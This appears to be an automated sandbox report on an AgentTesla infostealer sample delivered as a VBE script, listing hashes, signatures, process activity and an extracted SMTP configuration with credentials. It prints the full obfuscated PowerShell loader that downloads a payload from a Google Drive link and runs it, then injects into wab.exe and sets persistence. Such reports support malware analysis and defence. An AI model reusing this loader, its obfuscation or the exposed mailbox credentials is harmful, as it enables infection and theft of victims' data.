Analysis
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max time kernel
147s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
21/05/2024, 03:42
Static task
static1
Behavioral task
behavioral1
Sample
101764ZAM2024.vbe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
101764ZAM2024.vbe
Resource
win10v2004-20240426-en
General
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Target
101764ZAM2024.vbe
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Size
5KB
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MD5
9bb236cdb3b35307af7d461c7fb89080
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SHA1
c15e1237916d8b15f6123b1f5fe71bea8ca05145
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SHA256
7e82648e3ef3dbd61b8770817368ab2a475a2a7e0409acc7be80b725f72d03bd
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SHA512
ce235a07bde29a9317cde50b23f2b84b20c9463cce0f8a63f37385f03936b232029631596b7aab16137dacc6257478d805d73fef117f686e1c8a981010e739fc
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SSDEEP
96:QqROsb4v4l8zpMXx1LGkAo2ccqknNjD4VesDn5eoxDdHZ1bte+drO8CDnlufp:QTyK4l8za/LGAcqwD477fFLbte+U8CD+
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.raczki.pl - Port:
587 - Username:
[email protected] - Password:
obslugaradygminy - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 924 powershell.exe 11 924 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe" wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 9 drive.google.com 29 drive.google.com 8 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3840 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4636 powershell.exe 3840 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4636 set thread context of 3840 4636 powershell.exe 97 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 924 powershell.exe 924 powershell.exe 4636 powershell.exe 4636 powershell.exe 4636 powershell.exe 3840 wab.exe 3840 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4636 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 924 powershell.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeDebugPrivilege 3840 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4412 wrote to memory of 924 4412 WScript.exe 85 PID 4412 wrote to memory of 924 4412 WScript.exe 85 PID 924 wrote to memory of 2936 924 powershell.exe 87 PID 924 wrote to memory of 2936 924 powershell.exe 87 PID 924 wrote to memory of 4636 924 powershell.exe 92 PID 924 wrote to memory of 4636 924 powershell.exe 92 PID 924 wrote to memory of 4636 924 powershell.exe 92 PID 4636 wrote to memory of 1664 4636 powershell.exe 94 PID 4636 wrote to memory of 1664 4636 powershell.exe 94 PID 4636 wrote to memory of 1664 4636 powershell.exe 94 PID 4636 wrote to memory of 3840 4636 powershell.exe 97 PID 4636 wrote to memory of 3840 4636 powershell.exe 97 PID 4636 wrote to memory of 3840 4636 powershell.exe 97 PID 4636 wrote to memory of 3840 4636 powershell.exe 97 PID 4636 wrote to memory of 3840 4636 powershell.exe 97
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\101764ZAM2024.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Stodgier42 = 1;$Demasculinizingntravense='Sub';$Demasculinizingntravense+='strin';$Demasculinizingntravense+='g';Function Spanopnea($Prevacating){$Lazars138=$Prevacating.Length-$Stodgier42;For($Demasculinizing=1;$Demasculinizing -lt $Lazars138;$Demasculinizing+=2){$Miracicidia+=$Prevacating.$Demasculinizingntravense.Invoke( $Demasculinizing, $Stodgier42);}$Miracicidia;}function Boobyism21($Drago){& ($Afmrkningsplen) ($Drago);}$Alveolarerne=Spanopnea '.M o zBi l,l,a /S5G..0M d( Wsi n.d o,w s lN T. .1 0H..0 ;P WCi.nD6D4I;D x 6S4 ;. DrIv :,1S2 1 .E0S)T EG eMcBkKoL/.2 0B1F0 0.1D0,1t FFiTr,e fTo,x / 1P2B1O. 0h ';$Croup=Spanopnea ' UDsSePrD- A,gBe n tG ';$Euphenics=Spanopnea 'Lh.tGt pPsS: /m/ dUrAiPvCe..SgGoVo gPl.eB.FcToRm /Mu.c ?UeaxGpOo r t =CdTo.w.n lBo a d,&GiDd = 1SS.nNI -,a.RIm,y cA3K4vQ fAsLW,o o _ CCK JSc h.e jVC 2B7 pSQ uG9 ';$Chevronwise=Spanopnea ',> ';$Afmrkningsplen=Spanopnea 'TiKe,x. ';$Followings='Peasanthood';$Grafiksystemets = Spanopnea ',e cSh,om R% a p p dSaSt a %K\ M.a,nVatvUesl . S.kBo M& &, eUcFh oP StS ';Boobyism21 (Spanopnea ' $ gBlAo.b a.lF:.F.aZr y ngg aEl =h(Rc mBd /,cA ,$BG,r.aHfNi,k sPy s tpe,m e tAsK), ');Boobyism21 (Spanopnea ',$NgAllo.bVa l.: RCeStPr.oTv.iBsTiHo nR2A9C=P$ E,u p,hPe,n,iCc sS.Ss pPlDiHtS( $BCShCe,vKrPoFn wBiUs,e,) ');$Euphenics=$Retrovision29[0];$Dekompressionskammeret= (Spanopnea 'B$CgAlUo.b.a l :sRNe,eBkCs p.o,r,t eLrNi n,g eDr,nHeu=LN e wF- O bPj,eAc.tP SFyKs t e m .,NDeLtI.,W e b.C l iLeAnIt');$Dekompressionskammeret+=$Faryngal[1];Boobyism21 ($Dekompressionskammeret);Boobyism21 (Spanopnea 'G$ARae eTkIs p,oCrHtre.rJiSnSg e.r nFe,.DHbeCa d,eBr,sS[L$ C rPo u pS] =K$.ACl.v eFo,lRaEr e r.ndeL ');$Crossfiring=Spanopnea 'S$BRYeueOkBs,p oIrNtCe,rNiAnDgMeOr nQei.ID o w n lko a dMFOi lGeM(.$SECuMp h,e nBi c.s.,F$RSNuBsPsLo.)F ';$Susso=$Faryngal[0];Boobyism21 (Spanopnea 'F$,g,l,o b.aRlS: B rTe v i.r.oRs tFrSi nfe sL=I(HTie s tT-,PCaOt,h. $.SBuEs.s,oD)B ');while (!$Brevirostrines) {Boobyism21 (Spanopnea 'L$hgDlUoUb aAl.: VdeudMlFikgAe.h o,lFdDeDl sEe.s.kMoWnBtAo s =Q$ t r uKeM ') ;Boobyism21 $Crossfiring;Boobyism21 (Spanopnea '.SUtLaJrSt -.S,l,eDe,p. 4T ');Boobyism21 (Spanopnea 'O$ g lToCb.aUl :NB.r e vUiGr.oBsFt r,i.n e su= (TT eVsCtS- P.a,t hA $HSTu s.sDo ). ') ;Boobyism21 (Spanopnea ',$Egel ocb,aOl.:.C oFnBt e m,p eBrJaNtPe =.$ugDl oFbfa lA:LSOaMlOt,l a gEe s +.+K%c$.Rdegt.rAo vSiFs i.o n 2T9 .,c o u nPtK ') ;$Euphenics=$Retrovision29[$Contemperate];}$Udtolkningens=361885;$Resedagrnnes=26700;Boobyism21 (Spanopnea 's$ gTl oObOa l :AODrpthh o.x.aGzLiSn h=. G.edt -BCNoNnOt eInHtA J$NSsu.s,s o. ');Boobyism21 (Spanopnea ' $ g l.o b,aLl,: SSk o,lNe b oNgUs f o rsfLa.t,tHe r nNeWs, L=. [ESAy.s t.e m,.,CRoOnIv e r,tt],:S:OFfrHo.mTB aCs eD6 4 SMtSr i.n gT( $,O.r tThPo x aSztiMn ) ');Boobyism21 (Spanopnea ',$Ag leo b a lD:HF.oMlBkSe bPa a dSsB R=O [.SByLs t,eFm..FTEeNx.t .ME.n.c oAdIiBn gH] :S: ABSAC,IAIN. GmeStRSFtkrGiNnBg.(.$KSPkHo l e,b.o,gNsUf o rAf,a.t,t e rUn.eTs )P ');Boobyism21 (Spanopnea 'C$RgSlPoSbSa,lm: D.i s fCaLvPo rVs.=S$SF.ohlFkBe,b,a aBdAsA.,sFu bSs,tpr isnPg.(B$UUAd t oKlFk,n iKn.g.eBn s,, $URSe s,e,d,a g r,n nSe s )G ');Boobyism21 $Disfavors;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Manavel.Sko && echo t"3⤵PID:2936
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Stodgier42 = 1;$Demasculinizingntravense='Sub';$Demasculinizingntravense+='strin';$Demasculinizingntravense+='g';Function Spanopnea($Prevacating){$Lazars138=$Prevacating.Length-$Stodgier42;For($Demasculinizing=1;$Demasculinizing -lt $Lazars138;$Demasculinizing+=2){$Miracicidia+=$Prevacating.$Demasculinizingntravense.Invoke( $Demasculinizing, $Stodgier42);}$Miracicidia;}function Boobyism21($Drago){& ($Afmrkningsplen) ($Drago);}$Alveolarerne=Spanopnea '.M o zBi l,l,a /S5G..0M d( Wsi n.d o,w s lN T. .1 0H..0 ;P WCi.nD6D4I;D x 6S4 ;. DrIv :,1S2 1 .E0S)T EG eMcBkKoL/.2 0B1F0 0.1D0,1t FFiTr,e fTo,x / 1P2B1O. 0h ';$Croup=Spanopnea ' UDsSePrD- A,gBe n tG ';$Euphenics=Spanopnea 'Lh.tGt pPsS: /m/ dUrAiPvCe..SgGoVo gPl.eB.FcToRm /Mu.c ?UeaxGpOo r t =CdTo.w.n lBo a d,&GiDd = 1SS.nNI -,a.RIm,y cA3K4vQ fAsLW,o o _ CCK JSc h.e jVC 2B7 pSQ uG9 ';$Chevronwise=Spanopnea ',> ';$Afmrkningsplen=Spanopnea 'TiKe,x. ';$Followings='Peasanthood';$Grafiksystemets = Spanopnea ',e cSh,om R% a p p dSaSt a %K\ M.a,nVatvUesl . S.kBo M& &, eUcFh oP StS ';Boobyism21 (Spanopnea ' $ gBlAo.b a.lF:.F.aZr y ngg aEl =h(Rc mBd /,cA ,$BG,r.aHfNi,k sPy s tpe,m e tAsK), ');Boobyism21 (Spanopnea ',$NgAllo.bVa l.: RCeStPr.oTv.iBsTiHo nR2A9C=P$ E,u p,hPe,n,iCc sS.Ss pPlDiHtS( $BCShCe,vKrPoFn wBiUs,e,) ');$Euphenics=$Retrovision29[0];$Dekompressionskammeret= (Spanopnea 'B$CgAlUo.b.a l :sRNe,eBkCs p.o,r,t eLrNi n,g eDr,nHeu=LN e wF- O bPj,eAc.tP SFyKs t e m .,NDeLtI.,W e b.C l iLeAnIt');$Dekompressionskammeret+=$Faryngal[1];Boobyism21 ($Dekompressionskammeret);Boobyism21 (Spanopnea 'G$ARae eTkIs p,oCrHtre.rJiSnSg e.r nFe,.DHbeCa d,eBr,sS[L$ C rPo u pS] =K$.ACl.v eFo,lRaEr e r.ndeL ');$Crossfiring=Spanopnea 'S$BRYeueOkBs,p oIrNtCe,rNiAnDgMeOr nQei.ID o w n lko a dMFOi lGeM(.$SECuMp h,e nBi c.s.,F$RSNuBsPsLo.)F ';$Susso=$Faryngal[0];Boobyism21 (Spanopnea 'F$,g,l,o b.aRlS: B rTe v i.r.oRs tFrSi nfe sL=I(HTie s tT-,PCaOt,h. $.SBuEs.s,oD)B ');while (!$Brevirostrines) {Boobyism21 (Spanopnea 'L$hgDlUoUb aAl.: VdeudMlFikgAe.h o,lFdDeDl sEe.s.kMoWnBtAo s =Q$ t r uKeM ') ;Boobyism21 $Crossfiring;Boobyism21 (Spanopnea '.SUtLaJrSt -.S,l,eDe,p. 4T ');Boobyism21 (Spanopnea 'O$ g lToCb.aUl :NB.r e vUiGr.oBsFt r,i.n e su= (TT eVsCtS- P.a,t hA $HSTu s.sDo ). ') ;Boobyism21 (Spanopnea ',$Egel ocb,aOl.:.C oFnBt e m,p eBrJaNtPe =.$ugDl oFbfa lA:LSOaMlOt,l a gEe s +.+K%c$.Rdegt.rAo vSiFs i.o n 2T9 .,c o u nPtK ') ;$Euphenics=$Retrovision29[$Contemperate];}$Udtolkningens=361885;$Resedagrnnes=26700;Boobyism21 (Spanopnea 's$ gTl oObOa l :AODrpthh o.x.aGzLiSn h=. G.edt -BCNoNnOt eInHtA J$NSsu.s,s o. ');Boobyism21 (Spanopnea ' $ g l.o b,aLl,: SSk o,lNe b oNgUs f o rsfLa.t,tHe r nNeWs, L=. [ESAy.s t.e m,.,CRoOnIv e r,tt],:S:OFfrHo.mTB aCs eD6 4 SMtSr i.n gT( $,O.r tThPo x aSztiMn ) ');Boobyism21 (Spanopnea ',$Ag leo b a lD:HF.oMlBkSe bPa a dSsB R=O [.SByLs t,eFm..FTEeNx.t .ME.n.c oAdIiBn gH] :S: ABSAC,IAIN. GmeStRSFtkrGiNnBg.(.$KSPkHo l e,b.o,gNsUf o rAf,a.t,t e rUn.eTs )P ');Boobyism21 (Spanopnea 'C$RgSlPoSbSa,lm: D.i s fCaLvPo rVs.=S$SF.ohlFkBe,b,a aBdAsA.,sFu bSs,tpr isnPg.(B$UUAd t oKlFk,n iKn.g.eBn s,, $URSe s,e,d,a g r,n nSe s )G ');Boobyism21 $Disfavors;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Manavel.Sko && echo t"4⤵PID:1664
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
505KB
MD59b1ceeb7dda4146c3b37573fe7a25989
SHA14849d1f229be1e3e06add30e5104def9f6850a32
SHA25658da4bc32b6bee6d8b9271cd505ff2a9d7cc1b69876fb17857f94710c88a39fc
SHA512a5ea3cc5be27417367c800bb4f420487b43d9e4bf5be5ce1dde74a6968a54300f92a0b8d45fbde6df7bd906e14eb8ca0ffdd1c4e9345aee53d123e72a795b706